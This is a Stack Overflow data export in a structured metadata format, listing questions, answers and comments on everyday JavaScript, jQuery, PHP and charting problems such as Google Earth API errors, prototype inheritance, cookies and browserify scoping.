has body: I'm trying to write a quick script to pull data from facebook and then graph it on a google map instance just using simple extruded polygons. I've gotten all the social stuff and the ajax working but no matter what I do every time i call .getcoordinates() on anything I get an NPObject error. Specifically "Error calling method on NPObject." on the first line in my document where I've called .getcoordinates(). I looked around StackO and have tried everything anyone else has been putting up on anything relating to NPObject errors to no avail. Any ideas? header js: function drawgraph(name, z, x, y) { // Create the placemark. var polygonPlacemark = ge.createPlacemark(''); // Create the polygon. var polygon = ge.createPolygon(''); polygon.setAltitudeMode(ge.ALTITUDE_RELATIVE_TO_GROUND); polygonPlacemark.setGeometry(polygon); // Add points for the outer shape. var outer = ge.createLinearRing(''); outer.setAltitudeMode(ge.ALTITUDE_RELATIVE_TO_GROUND); outer.getCoordinates().pushLatLngAlt(x - 0.005, y - 0.005, z); outer.getCoordinates().pushLatLngAlt(x + 0.005, y + 0.005, z); outer.getCoordinates().pushLatLngAlt(x - 0.005, y + 0.005, z); outer.getCoordinates().pushLatLngAlt(x + 0.005, y - 0.005, z); polygon.setOuterBoundary(outer); //Create a style and set width and color of line polygonPlacemark.setStyleSelector(ge.createStyle('')); var lineStyle = polygonPlacemark.getStyleSelector().getLineStyle(); lineStyle.setWidth(5); lineStyle.getColor().set('9900ffff'); // Add the placemark to Earth. ge.getFeatures().appendChild(polygonPlacemark); } var ge = null; google.load("earth", "1", {"other_params":"sensor=true"}); function init() { init3d(); } function initCB(instance) { ge = instance; ge.getWindow().setVisibility(true); ge.getNavigationControl().setVisibility(ge.VISIBILITY_SHOW); } function failureCB(errorCode) { } function init3d() { google.earth.createInstance('map3d', initCB, failureCB); } I call init() on the body onload html frontend: Get coordinates of Current view 1 Mi…
answer count: 1
tagged with: google-earth-plugin
type: UnansweredQuestion
has title: NPObject error writing KML objects to Google Earth API
tagged with: php
has answer: http://stackoverflow.com/a/26194899
type: Question
tagged with: javascript
tagged with: kml

http://stackoverflow.com/a/25570045
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39978512
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25568433
has body: Suppose you have the breeders per string, something like $div[0]=' My breeder 1 '; $div[1]=' My breeder 2 '; $div[2]=' My breeder 3 '; $div[3]=' My breeder 4 '; and an array $my_breeders=[0,1,2,3]; If you shuffle the array, you will get something like $my_breeders=[1,3,2,0]; this is the order you display your divs in. Put this in a string and write it to a cookie. $order=implode('-',$my_breeders); //gives a string: 1-3-2-0 setcookie('breederorder',$order,time()+(30*60) ) the next time someone visits the page, check for the cookie if(!empty($_COOKIE['breederorder'])){ $my_breeders=explode('-',$_COOKIE['breederorder']); } Now you have the same array as before. Note, I set the cookie time at half an hour (30*60). If you set it too long, the next time a visitor comes to your page, het will still get the same order.
accepted answer of: http://stackoverflow.com/q/25568433

http://stackoverflow.com/comment/39901949
comment on: http://stackoverflow.com/a/25551693
has text: Mike: This is exactly what I was looking for. I tested your proposal, and I confirm that it works great. This being said the solution propose just after by Bergi look cleaner from a object approach point of view. Thank you.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25563528
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/39923305
downvote count: 0
has comment: http://stackoverflow.com/comment/39923626
type: AcceptedAnswer
has body: "i mean if it is a property of Speak constructor all its instances should inherit it?" No. Its instances inherit from the constructor's prototype, not the constructor itself. JavaScript is prototype-based, not "Constructor-based". If you are familiar with other OOP languages, Speak.t will be similar to a public static property. Changing it to Speak.protoype.t = 5 will add the property t: 5 to the prototype which will be inherited to all of its instances: function Speak(){ show(this.t); } Speak.prototype.t = 5; function show(v){ console.log('value is : '+v); } var s1 = new Speak(); //"value is : 5" console.log(s1.t); //5 Since instances inherit from its constructor's prototype, you can actually achieve class inheritance by doing this: function SpecialSpeak(){} SpecialSpeak.prototype = new Speak(); This creates a Speak instance and assign it as the SpecialSpeak's prototype. new SpecialSpeak() instanceof SpecialSpeak; //true new SpecialSpeak() instanceof Speak; //true Since all Speak instances will be updated if its prototype has changed, it will also update SpecialSpeak's prototype and also update all SpecialSpeak's instances. var s = new SpecialSpeak(); s.v; //undefined Speak.prototype.v = "text"; s.v; //text This demonstrates how inheritance works in JavaScript. The chaining of prototypes is sometimes called a "prototype chain". You might also want to check out this great article about inheritance. Side note: Since all prototype chains must have a starting point, Object.prototype instanceof Object; //false Although Object.prototype is an object, it is the very top prototype (object) that everything* inherits from, therefore it's not an instance of Object. It is the Object! * Starting from ES5, Object.create is introduced which lets you create objects that doesn't inherit from Object.prototype.
score: 4
accepted answer of: http://stackoverflow.com/q/25563366
answers question: http://stackoverflow.com/q/25563366

http://stackoverflow.com/q/25555102
has title: Javascript variable and Web Panel Variable
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25575446
score: 1
accepted answer: http://stackoverflow.com/a/25575446
type: Question
tagged with: javascript
upvote count: 1
answer count: 1
tagged with: genexus
has body: How do I make the link between the javascript variables and the Web Panel variables? I have a User Control, and I want to passe the value of a javascript variable to a web panel variable, but I don't know where and how I make that attribution.
favorite count: 0

http://stackoverflow.com/comment/39955383
score: 0
type: AnswerComment
has text: I think you haven't add jquery library http://code.jquery.com/jquery-1.11.1.min.js
type: Comment
comment on: http://stackoverflow.com/a/25581033

http://stackoverflow.com/comment/40151257
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25625033
has text: Oh sorry, didnt see the codepen, thats fine too. Well, has @nicolas alreay answered it?
score: 0

http://stackoverflow.com/comment/40158096
has text: When you load the css file with the Images in the Header of your document you could have a tiny Performance bump. But not really worth a mention. You should be looking at Sprites for seamless image swap
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/25671000

http://stackoverflow.com/comment/40193276
type: Comment
comment on: http://stackoverflow.com/a/25712227
has text: I wasnt sure what a better way to do this was? On the API?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40082509
has text: just a guess, try removing the comments inside the `isNumberKey` function
comment on: http://stackoverflow.com/q/25635042
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39985794
type: Comment
comment on: http://stackoverflow.com/a/25598271
score: 0
type: AnswerComment
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/60359/discussion-between-arun-p-johny-and-user2238083).

http://stackoverflow.com/a/25710534
has comment: http://stackoverflow.com/comment/40190959
has comment: http://stackoverflow.com/comment/40190997
downvote count: 0
has comment: http://stackoverflow.com/comment/40190632
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/40191029
upvote count: 1
has comment: http://stackoverflow.com/comment/40197791
has body: Okay finally i got trough it and so I'm answering my own question. Ntsh's idea of using ScriptEngine (see question's comments) was nice and worked nice in java, but since it's not part of android by default, I had to import the jar. Even that the code compiles, it just doesn't seem to work on some devices (i got it working only in my 4.2 Genymotion VM). So I searched for another approach and decided to use webview to run javascrip. This seems to be a bad solution, but it works: First I made a php file on server, that takes js file, adds some html and javascript code around it, to make it valid html and to make json out of this js array and prints it. On android I just open this url in hidden webview and once page is loaded, I take it's source and extract relevant data, to parse it from json to java. This post was very helpful for that. However, this approach has some disadvantages: it cannot be run in background (using backgound services and broadcast recievers for example), since webview is a gui element it has a security whole, because ANY js file that gets loaded into webview can call the function (now called only when page is loaded) at ANY time. This is how it can inject some other text and so on... So if anyone has a better solution please let me know.
answers question: http://stackoverflow.com/q/25704694

http://stackoverflow.com/a/25588733
score: 1
upvote count: 1
downvote count: 0
type: Answer
has body: If there is a parent you can find the children relative to the parent $("#someParent").find("input").val('');
answers question: http://stackoverflow.com/q/25588715

http://stackoverflow.com/a/25564696
has comment: http://stackoverflow.com/comment/39923010
has comment: http://stackoverflow.com/comment/39923054
has body: Edited: I initially misunderstood the question. Put the script tags inside the body, at the bottom &lt;script&gt; ....js here &lt;/script&gt; &lt;/body&gt;
downvote count: 1
score: -1
answers question: http://stackoverflow.com/q/25564658
upvote count: 0
type: Answer

http://stackoverflow.com/q/25558732
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39912187
has answer: http://stackoverflow.com/a/25558787
has answer: http://stackoverflow.com/a/25558832
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39912581
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/190253
accepted answer: http://stackoverflow.com/a/25558799
favorite count: 0
has answer: http://stackoverflow.com/a/25558853
has answer: http://stackoverflow.com/a/25558825
score: 0
upvote count: 1
has answer: http://stackoverflow.com/a/25558850
downvote count: 1
has answer: http://stackoverflow.com/a/25558808
has answer: http://stackoverflow.com/a/25558824
has answer: http://stackoverflow.com/a/25558769
has answer: http://stackoverflow.com/a/25558814
possible better answer: http://stackoverflow.com/a/25558808
has title: How can I avoid writing 10 functions, make it just one
answer count: 10
has answer: http://stackoverflow.com/a/25558799
linked to: http://stackoverflow.com/q/25558651
has body: EDIT: Thanks, but those answers are not the best way to do it and are difficult to understand by a beginner. I have this structure: Title + ...content... ..... n times this structure .... Title + ...content... When the user clicks the + sign the content should show or disappear. function a1(){ $('#b1').toggle(); } .... too many functions ..... function aN(){ $('#bN').toggle(); } How can I rewrite all those functions in one single function to write less code?

http://stackoverflow.com/q/25691163
has title: Delete Records using password
score: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40154434
has comment: http://stackoverflow.com/comment/40154802
has body: I am building a web app in PHP using Bootstrap .... but I a very very new to both languages ... I am showing record from my SQL database on the website using using the plugin Datatables. In my First I have 2 buttons Edit and Delete... they work perfectly I want to improve my delete function by adding a prompt where i should Type a password before deleting. This is the script behind the button Delete &lt;a onclick="javascript:return confirm(&amp;quot;Are you sure, you want to delete customer?&amp;quot;);return false;" href="&lt;?php echo site_url("cust/delete/'+oObj.aData[0]+'");?&gt; this is the Delete function in the Cust constructor function delete($id) { if($id &gt;0 ){ $this-&gt;cust_model-&gt;cust_delete($id); $this-&gt;session-&gt;set_flashdata("message", 'Customer deleted successfully'); redirect('cust'); } } Thanks for the help
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40154427
tagged with: php
answer count: 0
tagged with: twitter-bootstrap
type: Question

http://stackoverflow.com/q/25649369
accepted answer: http://stackoverflow.com/a/25655301
has title: Highcharts Options to stringified JSON
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
answer count: 1
tagged with: stringify
tagged with: highcharts
tagged with: javascript
has body: i need to convert the highcharts options to a JSON string. And I'm really struggling with this. Because it has cuircual structure. Example: http://jsfiddle.net/8TEKD/ Well I also tried to decycle it with the douglascrockford cycle.js: https://github.com/douglascrockford/JSON-js If I try to decycle it I get this stacktrace 'Attr.ownerElement' is deprecated and has been removed from DOM4 (http://w3.org/tr/dom). cycle.js:92 'Attr.textContent' is deprecated. Please use 'value' instead. cycle.js:92 'Attr.nodeValue' is deprecated. Please use 'value' instead. cycle.js:92 'HTMLHtmlElement.manifest' is deprecated. The manifest attribute only has an effect during the early stages of document load. cycle.js:92 InvalidStateError: Failed to read the 'selectionDirection' property from 'HTMLInputElement': The input element's type ('checkbox') does not support selection. Well I need this because I want to save the configuration of my Chart and load it later with that configuration. Is there any way to do this? Thanks
has answer: http://stackoverflow.com/a/25655301
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
type: Question

http://stackoverflow.com/comment/40020272
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25617268
has text: why do you want a different solution?
type: Comment

http://stackoverflow.com/comment/40075246
type: AnswerComment
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25632088
has text: While this doesn't specifically answer my original question, I was able to adapt your solution to address the problem I was having. Thank you for the suggestion

http://stackoverflow.com/comment/40060239
type: AnswerComment
score: 0
has text: So I added this ` config.assets.precompile += %w(sigma.parseGexf.js sigma.min.js)` and now these files are added to public
type: Comment
comment on: http://stackoverflow.com/a/25625908

http://stackoverflow.com/comment/40007944
score: 0
has text: Construct this link on the server side! Don't use the `javascript:` pseudo protocol.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25609421

http://stackoverflow.com/q/25676166
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/40127254
tagged with: calculator
has comment: http://stackoverflow.com/comment/40127185
type: UnansweredQuestion
has body: I previously posted a code with the similar way and I am still having problems with it. this time I get 100.0712.5 when I put 10 as the bill, 7 for the sales tax and 25 for the tip. I am really new to Javascript coding and I have literally been spending hours trying to figure this out I need help. Sales Tax + Tip Calculator Type in your price (dollar amount). Click the "Calculate" button to receive your total. What is the bill amount?: $ What is the sales tax?: % how much do you want to tip?: % The Grand Total is: Home
has answer: http://stackoverflow.com/a/25676362
has answer: http://stackoverflow.com/a/25676298
type: Question
tagged with: function
tagged with: javascript
has title: Sales and tip calculator
has answer: http://stackoverflow.com/a/25676327

http://stackoverflow.com/comment/40085899
score: 0
has text: Thanks a lot but I still don't get how RestFB will be able to communicate with the browser to get an authorization token to publish (it also needs to get the user's facebook id from the browser)?
type: Comment
comment on: http://stackoverflow.com/a/25653108
type: AnswerComment

http://stackoverflow.com/comment/40060469
type: AnswerComment
score: 0
has text: insert it in the function and specify the vowels must used in: `vowelsmustusedUpCase` and `vowelsmustusedLowCase` and change the: `document.getElementById("text").value = result ;` if you want it in another div
type: Comment
comment on: http://stackoverflow.com/a/25639410

http://stackoverflow.com/a/25670021
score: 3
answers question: http://stackoverflow.com/q/25669901
upvote count: 3
has comment: http://stackoverflow.com/comment/40116022
type: Answer
has comment: http://stackoverflow.com/comment/40115928
has comment: http://stackoverflow.com/comment/40116142
downvote count: 0
has body: Give your button an id attribute like so: &lt;input type="submit" id="submitbtn" name="submit"&gt; Then, this should do it $( '#submitbtn' ).before( '&lt;input type="text" id="text3" /&gt;' );
has comment: http://stackoverflow.com/comment/40116081

http://stackoverflow.com/comment/40024103
comment on: http://stackoverflow.com/q/25619401
has text: You might want to check this out - http://abandon.ie/notebook/simple-file-uploads-using-jquery-ajax
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40247741
type: Comment
comment on: http://stackoverflow.com/a/25689683
score: 0
type: AnswerComment
has text: Thanks that did the job. But i´m still wondering why there are difference between the date objects.

http://stackoverflow.com/comment/39956582
type: Comment
score: 2
comment on: http://stackoverflow.com/a/25582390
type: AnswerComment
has text: index 0 will be -1 after i--, but will be 0 again when current loop ends after i++.

http://stackoverflow.com/comment/40121632
type: AnswerComment
comment on: http://stackoverflow.com/a/25673328
has text: Unfortunately this shows the div whether you click yes or no. EDIT: Well, doesn't show if you click either, but it doesn't disappear when you click "no".
score: 0
type: Comment

http://stackoverflow.com/comment/40185506
type: Comment
type: QuestionComment
has text: Fair enough, here is a link to a code pen project: [link](http://codepen.io/anon/pen/gyunh). I'm trying to use jQuery's .trigger() function but it isnt replicating a true mouse click. Thank you for your feedback. :)
comment on: http://stackoverflow.com/q/25707871
score: 0

http://stackoverflow.com/a/25614747
has body: I'm not familiar with Three.js, but the online documentation suggests to me that the Raycast algorithm is calculated based on the distribution of objects in space, and not on their composition. In this regard, I don't think there'd be any specific way to inform the Raycast that we'd only like opaque pixels to be tested. I'm thinking that first, use Three.js's Raycast.intersectObjects(pObjects, pRecursive) to get an analysis of which of your objects broadly collide with the spatial expanse of the ray. Once the Objects have been filtered, you need to perform a specific test to determine whether the ray collides with opaque pixels or not. A simple way of doing this would be to take the Object which we guarantee is colliding with the ray and determine the centre location of the ray when it crosses the Object. (This will increase incomplexity depending on whether your objects can be scaled, or if your objects/ray can be rotated.) The absolute location of the point of intersection of the ray in 3D space can be found using trigonometry, which will need to account for the near and far values of your ray. By knowing the location and dimensions of your image, you can convert the co-ordinate of raycast intersection in your 3D world into discrete 2D co-ordinates relative to that of the image you're using. As an example, imagine a simple 2D case. If you had a 50px² image sat at the origin, and the ray intersects with the image at position (25,25), you could use this information to index the pixel data array and test the alpha values of the pixel. Since PNG image data stores RGBA data, you're looking at four bytes per pixel. Therefore, you'd need an implementation looking something like the example below, as image data is stored contiguously. byte lPixelRed = bitmap.getData()[(X + Y*bitmap.getWidth())*4]; byte lPixelGreen = bitmap.getData()[(X + Y*bitmap.getWidth())*4 + 1]; byte lPixelBlue = bitmap.getData()[(X + Y*bitmap.getWidth())*4 + 2]; byte lPixelAlpha = bitmap.getData()[(X…
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40015933
type: Answer
upvote count: 6
answers question: http://stackoverflow.com/q/25597978
score: 6
accepted answer of: http://stackoverflow.com/q/25597978

http://stackoverflow.com/comment/39924697
comment on: http://stackoverflow.com/a/25565509
score: 0
type: AnswerComment
has text: I suggest you should get your JS validated. I saw some lost ";" here and there. Other than that, I haven't really touched your fadeToggle(). If it doesnt work, try using fadeIn() and fadeOut()? I need more info bout your fading to know what it does.
type: Comment

http://stackoverflow.com/comment/40111283
score: 0
has text: You should also use `.ToString("F2", CultureInfo.InvariantCulture)` rather that "G2" in case its a large number and you get an exponential result.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25666042

http://stackoverflow.com/comment/40158959
comment on: http://stackoverflow.com/a/25693471
type: AnswerComment
score: 0
type: Comment
has text: @AhmedMiro Sorry, I missed that requirement.

http://stackoverflow.com/a/25598953
has body: I found a way, kind of a hack but the only way I could do it without refeeding all of my charts with data each time the carousel advances. Just trigger a window resize event. $('#myCarousel').on('slid.bs.carousel', function () { var handler = window.onresize; handler(); })
score: 0
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40083669
accepted answer of: http://stackoverflow.com/q/25598933
answers question: http://stackoverflow.com/q/25598933

http://stackoverflow.com/a/25594641
answers question: http://stackoverflow.com/q/25594501
type: Answer
has comment: http://stackoverflow.com/comment/39978796
has body: I don't think you require a while loop, a simple if and else if check would do in this situation. Since you are only checking to see what the variable health is on click you would only need to check it once per click. Here is a jsfiddle of how I would do this. var health = 30; document.getElementById("hpcount").innerHTML = health; function myFunction() { if(health &lt;= 0) { health = 0; document.getElementById("demo2").innerHTML = "Game over"; } else if (health&gt;0){ health -= Math.floor(Math.random() * 10)+1; document.getElementById("hpcount").innerHTML = health; } }
score: 0

http://stackoverflow.com/a/25696706
has body: You can try var str = ' A report released by the United Nations Children’s Fund (Unicef) on Friday revealed that one in 10 girls globally – 120 million – have been sexually abused, with violence against children taking increasingly insidious forms. The report, ‘Hidden in Plain Sight: Statistical Analysis of Violence against Children’, surveys 190 countries, including Pakistan, and surveys boys and girls aged upto 19 years. While the statistics on violent acts such as homicide are startling – Pakistan is among 10 countries with the largest number of victims of homicide among children and adolescents up to the age of 19, with close to 3000 victims in 2012 – the findings on violence against girls stands out: 30 per cent of girls aged 15 to 19 surveyed say they have experienced physical violence since the age of 15, with 24 per cent saying they experienced physical violence within the last 12 months. The report acknowledges the myriad forms violent acts can take and to that end, details different kinds of violence: physical (ranging from bullying to degradation or torture and including smacks, kicking, forced ingestion or any act intended to cause some degree of pain or discomfort), sexual (including unlawful or harmful sexual activity, exploitation, forced marriages), mental (including verbal abuse, threatening, isolating or ignoring, exposure to domestic violence and cyber bullying), and neglect (the failure to adequately care for a child’s physical and psychological needs). When girls were asked to identify the perpetrators of the violence, parents and caregivers (including stepmothers or stepfathers) were most commonly named, as well as husbands or partners (depending on the girls’ marital status). Among married girls, 85 per cent of Pakistani girls surveyed identified their current partner as the perpetrator of violence. One per cent listed former partners, 10 per cent listed mothers or step-mothers while 15 per cent listed mothers-in-law as perpetrators of violenc…
accepted answer of: http://stackoverflow.com/q/25696644
has comment: http://stackoverflow.com/comment/40165148
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25696644
score: 0
type: Answer

http://stackoverflow.com/a/25671036
score: 1
upvote count: 1
type: Answer
has body: The function name is onclick not onClick i.e. var incFont = document.getElementById("incFontS"); incFont.onclick = function () { window.alert("it ran!"); } works for me.
answers question: http://stackoverflow.com/q/25670925
downvote count: 0

http://stackoverflow.com/comment/40148224
type: QuestionComment
has text: Hey.. I successfully displaying the Doughnut by using `intval($value)` for the value. I am generating the data array using PHP. Maybe you can do the same thing in your Javascript by getting the integer value of the value. I do not now how to do it in Javascript.
type: Comment
comment on: http://stackoverflow.com/q/25665019
score: 0

http://stackoverflow.com/q/25606651
downvote count: 5
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25606676
has title: insert text into span class using jquery
answer count: 3
has answer: http://stackoverflow.com/a/25606674
favorite count: 0
accepted answer: http://stackoverflow.com/a/25606674
has comment: http://stackoverflow.com/comment/40000894
score: -4
has comment: http://stackoverflow.com/comment/40000907
upvote count: 1
has answer: http://stackoverflow.com/a/25606676
has comment: http://stackoverflow.com/comment/40000923
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25606698
type: Question
has body: I have following html structure I want dynamically to insert some content into var content = 99; $('number').html(content); but nothing change. So what I need to do insert value into span that resulted node looks like this 99
tagged with: jquery-mobile

http://stackoverflow.com/comment/40070547
type: QuestionComment
has text: HTML id should be unique
score: 1
comment on: http://stackoverflow.com/q/25645159
type: Comment

http://stackoverflow.com/q/25697801
downvote count: 0
score: 1
possible better answer: http://stackoverflow.com/a/25841270
has comment: http://stackoverflow.com/comment/40170781
type: Question
has comment: http://stackoverflow.com/comment/40208991
has comment: http://stackoverflow.com/comment/40170931
has comment: http://stackoverflow.com/comment/40170778
has comment: http://stackoverflow.com/comment/40206884
tagged with: javascript
has body: I have an application in which the client sends multiple asynchronous javascripts requests to the third party servers. The problem which I am facing is that whenever the client responds to these responses the site becomes inactive for that miliseconds period of time. So sending these multiple requests increases the inactive time. For example if I send x requests and lets assume for each reponse that site becomes inactive for y avg miliseconds and then total inefficient time is x*y. How can I reduce these calls into one call. Third party which I am referring are like calls for google analytics , google ad leads and many more Here is the example of one of the calls I am making function () { var oldonload = window.onload; window.onload = function(){ __adroll_loaded=true; var scr = document.createElement("script"); var host = (("https:" == document.location.protocol) ? "https://s.adroll.com" : "http://a.adroll.com"); scr.setAttribute('async', 'true'); scr.type = "text/javascript"; scr.src = host + "/j/roundtrip.js"; ((document.getElementsByTagName('head') || [null])[0] || document.getElementsByTagName('script')[0].parentNode).appendChild(scr); if(oldonload){oldonload()}}; }());
answer count: 3
upvote count: 1
has comment: http://stackoverflow.com/comment/40170800
has comment: http://stackoverflow.com/comment/40170763
tagged with: asynchronous
tagged with: webclient
has comment: http://stackoverflow.com/comment/40276220
favorite count: 0
has comment: http://stackoverflow.com/comment/40170928
has answer: http://stackoverflow.com/a/25841676
has title: Reduce number of third party asynchronous call from client
has comment: http://stackoverflow.com/comment/40170835
has answer: http://stackoverflow.com/a/25841270
has answer: http://stackoverflow.com/a/25739139
accepted answer: http://stackoverflow.com/a/25739139
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40170860

youtube-javascript-api
type: Tag
tags question: http://stackoverflow.com/q/25635368
tag name: youtube-javascript-api
tags question: http://stackoverflow.com/q/25594626

http://stackoverflow.com/q/25558504
tagged with: javascript
has answer: http://stackoverflow.com/a/25559275
score: 0
tagged with: browserify
has title: Immediately invoked expression in browserify
has comment: http://stackoverflow.com/comment/40039502
type: UnansweredQuestion
tagged with: node.js
has body: I use browserify in combination with node.js so that I can use require() in my js files. I have this piece of code in my game.js: var game = new Phaser.Game(800, 600, Phaser.AUTO, 'snakeGame'); var menuState = require('./menuState.js'); var gameState = require('./gameState.js'); game.state.add('menuState', menuState); game.state.add('gameState', gameState); game.state.start('menuState'); If i do a browserify game.js -o bundle.js, this piece of code is wrapped inside of an immediately invoked expression and all the required js files are more or less concatenated to this bundle.js How can I achieve to use the game variable in all my required js files? Since the bundle.js the var game is in the IIFE scope, I cannot access it. How can I put it outside this scope? EDIT: i think mike c's solution would have worked too. But i was a bit stupid so i just had to define game globally without var infront, that did the trick...
has answer: http://stackoverflow.com/a/25558806
type: Question
answer count: 2

http://stackoverflow.com/comment/40000758
comment on: http://stackoverflow.com/a/25606290
has text: @zerkms it's just a matter of taste. For me thinking about variable names, "var" and managing variables is extremely troublesome. It's better to read code from left to right like a book. In book you have 2 to 5 paragraphs per page and each paragraph has multiple lines. I like to see the same in source code. But of course JS doesn't look as elegant here as for example Python, for sure.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40082729
comment on: http://stackoverflow.com/a/25651585
has text: @GaryStorey Users are not allowed to mark their own answers as accepted for 2 days (otherwise, I would have).
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40149854
score: 0
type: Comment
has text: I tried with the listener you suggested. It seems to work better but still not every time. when it fails on first page load, it usually works if I refresh. Does that give you any idea as to where the problem comes from?
comment on: http://stackoverflow.com/a/25684453
type: AnswerComment

http://stackoverflow.com/comment/40154638
comment on: http://stackoverflow.com/a/25691288
score: 1
type: AnswerComment
type: Comment
has text: Getting the object isn't the problem. Inside my success function `data` will hold the object. My problem is looping through. I'm fine with PHP but am new to jQuery

http://stackoverflow.com/a/25697181
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/25697154
answers question: http://stackoverflow.com/q/25697154
upvote count: 2
has body: No. The for…in construct iterates over the keys of an object or array, not its values. You can use a simple for loop: for (var i = 0; i &lt; arrOfFuncs.length; i++){ console.log(typeof arrOfFuncs[i]); console.log(arrOfFuncs[i]); } Or modify your for…in loop like this: for (var i in arrOfFuncs){ console.log(typeof arrOfFuncs[i]); console.log(arrOfFuncs[i]); } Or you could use the forEach method (introduced in ECMAScript 5.1): arrOfFuncs.forEach(function(f) { console.log(typeof f); console.log(f); });

http://stackoverflow.com/a/25713946
upvote count: 5
type: Answer
downvote count: 0
score: 5
has body: You're asking to select based on the value of the style attribute. The fill property is nested within the style attribute; it is not a direct attribute of the DOM node. So you won't be able to select it using an attribute selector (ie the method @LarsKotthoff linked to). You can switch to setting the fill using the SVG fill attributes, .attr('fill', ...) instead of using style('fill'), which will allow you to later select it using an attribute selector. That aside, selecting via the fill attribute doesn't seem too elegant. If your design evolves and you start using a different fill color, you'll have to change the attribute selector as well. Assigning it a class and selecting based on the class is more appropriate. Perhaps the best is to select based on data. Eg: g.selectAll('circle') .filter(function(d) { return d.ArtistID == 1; }) .style('fill', function(d, i) { // here you can affect just the red circles (bc their ArtistID is 1) })
accepted answer of: http://stackoverflow.com/q/25711108
answers question: http://stackoverflow.com/q/25711108
type: AcceptedAnswer

http://stackoverflow.com/a/25646573
has body: Usually the way you communicate with a directive is via attributes, you don't usually define methods in your controller scope at directive level. I believe the right approach in your case would be with an attribute in your directive that binds to a scope property and your directive watches that property so when it changes it runs a particular function. A possible implementation could be: Controller: $scope.onHightlight = function() { if ($scope.highlightColor === 'lime') { scope.code = ""; $location.path('/clockin'); } else { $scope.resetDisplay(); $scope.code = ""; } }); $scope.keypadEnter = function () { userService.isCodeValid($scope.code).then(function (result) { if (JSON.parse(result.data)) { $scope.highlightColor = "lime"; } else { $scope.highlightColor = "red"; } }); }; Directive: link: function ($scope, $element, $attrs) { var onHightlight = $scope.$eval($attrs['onHightlight']); $scope.$watch($attrs['hightlight'], function(color) { $element.effect("highlight", { color: color }, 500); $element.find("span").css('color', '#000') .animate({ opacity: 0 }, 500, function () { $element.find("span").css('opacity', 1).css('color', '#fff') }); $timeout(onHightlight, 500); } .... } HTML: &lt;your-directive highlight="highlightColor" onHighlight="onHightlight"&gt;&lt;/your-directive&gt;
type: Answer
has comment: http://stackoverflow.com/comment/40073336
answers question: http://stackoverflow.com/q/25645379
has comment: http://stackoverflow.com/comment/40075449
score: 0

http://stackoverflow.com/q/25595708
has answer: http://stackoverflow.com/a/27139040
score: 0
has comment: http://stackoverflow.com/comment/42683334
answer count: 1
favorite count: 0
has body: Context: I'm a TiddlyWiki (an offline non-linear personal notebook) user, and I would like to improve the workflow of image attaching. The basic way to attach an image to a TW is to write stuff like this: [img[image-url-either-absolute-or-relative]] in the edit area. The issue is, if I have 20 images I'd like to attach, I have to extract 20 urls and paste them (and surrond with the [img[...]] wrappers). My idea is to write a plugin that would allow me to drag-and-drop the 20 files from a file manager to the editing area, and get 20 urls (better wrapped with basic [img[...]] syntax or some other). Is this possible?: Getting a url (or uri, whatever) of a local file isn't a usual operation for web applications, and for security reasons it seems to be forbidden (at least by default). Still, is there any way to imlement this? Provided that the user will accept any security warnings. May be workaround? If there's a possibility for a workaround (may be using AutoHotKey or smth else), I'll be glad to hear (keep in mind that the goal is to improve the workflow, so minimum of additional clicking/keypressing is desirable). Currently, I would love to implement this for Window 7 + Opera 12.17, but of'course the more general the solution is, the better (in the end, I'll share that with others if it's that useful). And yes, currently I'm talking about TW Classic, not TW5.
tagged with: drag-and-drop
tagged with: single-page-application
tagged with: tiddlywiki
type: AnsweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/42659948
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/27139040
tagged with: javascript
has title: Is it possible to drag-and-drop a local file from a file manager to a browser and get the file's uri?

http://stackoverflow.com/comment/40002164
comment on: http://stackoverflow.com/a/25602114
has text: I do know, and I had it added. Just forgot to post it to this comment. I also added an alert function and the correct URL is clicked however, for some reason the song doesn't change. Check this fiddle I just made, that's what I am trying to do, but with controls 'next' 'prev' 'current' http://jsfiddle.net/zctgyf88/
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40057482
type: AnswerComment
comment on: http://stackoverflow.com/a/25637493
type: Comment
has text: Check my fiddle you will get idea
score: 0

http://stackoverflow.com/a/25587652
has body: Found the problem, pretty basic. I was using Python style sprintf formatting to generate the gapfill URL. Too much Python on my mind.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25585385

http://stackoverflow.com/q/25663895
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40105466
has title: Google InfoWindow not loading inside for loop
has answer: http://stackoverflow.com/a/25664596
type: Question
has comment: http://stackoverflow.com/comment/40105207
